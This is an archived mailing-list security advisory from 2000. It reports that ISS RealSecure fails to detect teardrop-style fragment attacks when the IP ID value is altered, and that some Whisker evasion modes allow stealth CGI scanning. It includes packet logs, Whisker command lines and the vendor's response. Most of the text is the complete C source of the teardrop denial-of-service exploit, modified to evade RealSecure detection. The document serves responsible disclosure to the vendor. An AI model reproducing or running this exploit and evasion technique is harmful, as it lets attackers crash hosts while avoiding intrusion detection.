Hello, Playing around with ISS RealSecure, a well known network intrusion detection system (NIDS), we have encountered the following security problems: o It is possible to bypass the detection of TearDrop, SynDrop, NewTear or Targa DOS attacks. o Some of Whisker evading modes are still/really effective i.e. it is possible to stealth scan a web server for CGIs. This has been tested on ISS RealSecure version 3.2.1999.343 on Windows NT. 1. Teardrop signature in RealSecure For example, the original/public teardrop.c version exploits the overlapping IP fragment bug by sending 2 IP fragments. The ID field of the 2 IP fragments is not involved in the attack and was fixed to 242 (why not ? ;-) ): *((u_short *)p_ptr) = htons(242); /* IP id */ By changing this value from 242 to 666 (it can be a random number), RealSecure won't detect teardrop attacks. The only field changed is the ID field of the IP fragment. Using Snort you can also sniff the network: Original teardrop (detected): 02/11-09:37:03.822772 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245 UDP TTL:64 TOS:0x0 ID:242 MF Frag Offset: 0x0 Frag Size: 0x24 02/11-09:37:03.822829 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245 UDP TTL:64 TOS:0x0 ID:242 Frag Offset: 0x3 Frag Size: 0x4 Modified teardrop (NOT detected): 02/11-09:37:07.967350 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245 UDP TTL:64 TOS:0x0 ID:666 MF Frag Offset: 0x0 Frag Size: 0x24 02/11-09:37:07.968076 xxx.yyy.zzz.246 -> xxx.yyy.zzz.245 UDP TTL:64 TOS:0x0 ID:666 Frag Offset: 0x3 Frag Size: 0x4 2. Whisker evading modes vs. RealSecure Stealth scan can be done using Whisker v1.3.0a and the HEAD method. It is also possible to use the GET method (-M 2), in that case you must use an evading mode (0, 6 or both) to avoid detection. Examples: ./whisker.pl -h xxx.yyy.zzz.ttt -I 1246 ./whisker.pl -h xxx.yyy.zzz.ttt -I 0 -M 2 ./whisker.pl -h xxx.yyy.zzz.ttt -I 6 -M 2 ./whisker.pl -h xxx.yyy.zzz.ttt -I 60 -M 2 3. ISS has been made aware of the issue and is looking into its details. We sent the above information to ISS by email 15 days ago; here is their answer: "Thanks for your in depth analysis of our RealSecure Teardrop signature. We rarely get such detailed reports and they are very much appreciated. Now that we are aware of the issue, we've logged this as a bug so we can address it in an upcoming release. We haven't tested RealSecure against Whisker, but now that brought this to our attention we can add it to our product test plan. We work very hard to test our products against as many known attacks as possible and information like this allows us to improve our test plan with every release. Please feel free to provide us feedback like this in the future as it helps us make a better product for all our customers." Regards, Stephane -- Stephane AUBERT -=- Herve Schauer Consultants Email : Stephane.Aubertat_private http://www.hsc.fr/ * Links ISS RealSecure : http://solutions.iss.net/products/rsecure/rs_checks.php Snort : http://www.clark.net/~roesch/security.html Whisker : http://www.wiretrip.net/rfp/ Teardrop, Targa, and so on : http://packetstorm.securify.com/DoS/ * Demonstration program /* * Copyright (c) 1997 route|daemon9 <routeat_private> 11.3.97 * * Linux/NT/95 Overlap frag bug exploit * * Exploits the overlapping IP fragment bug present in all Linux kernels and * NT 4.0 / Windows 95 (others?) * * Based off of: flip.c by klepto * Compiles on: Linux, *BSD* * * Modification : Stephane Aubert and Denis Ducamp * Date : 14/02/2000 * (c) Herve Schauer Consultants 2000 * Description : change ID field to bypass ISS RealSecure * * * gcc -O2 teardrop.c -o teardrop * OR * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short,long); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; long ip_mf; fprintf(stderr, "teardrop route|daemon9\\n\\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\\n", count); fprintf(stderr, "[ "); ip_mf = 0x2000; for (i = 0; i < COUNT; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt,ip_mf); fprintf(stderr, "b00m:%x ",ip_mf); usleep(500); ip_mf += 0x10; } fprintf(stderr, "]\\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, long ip_mf) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; /* SA/HSC : ID was 242 - change to 666 to bypass ISS RealSecure */ *((u_short *)p_ptr) = htons(666); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(ip_mf); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\\n", name); exit(0); }
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:38:16 PDT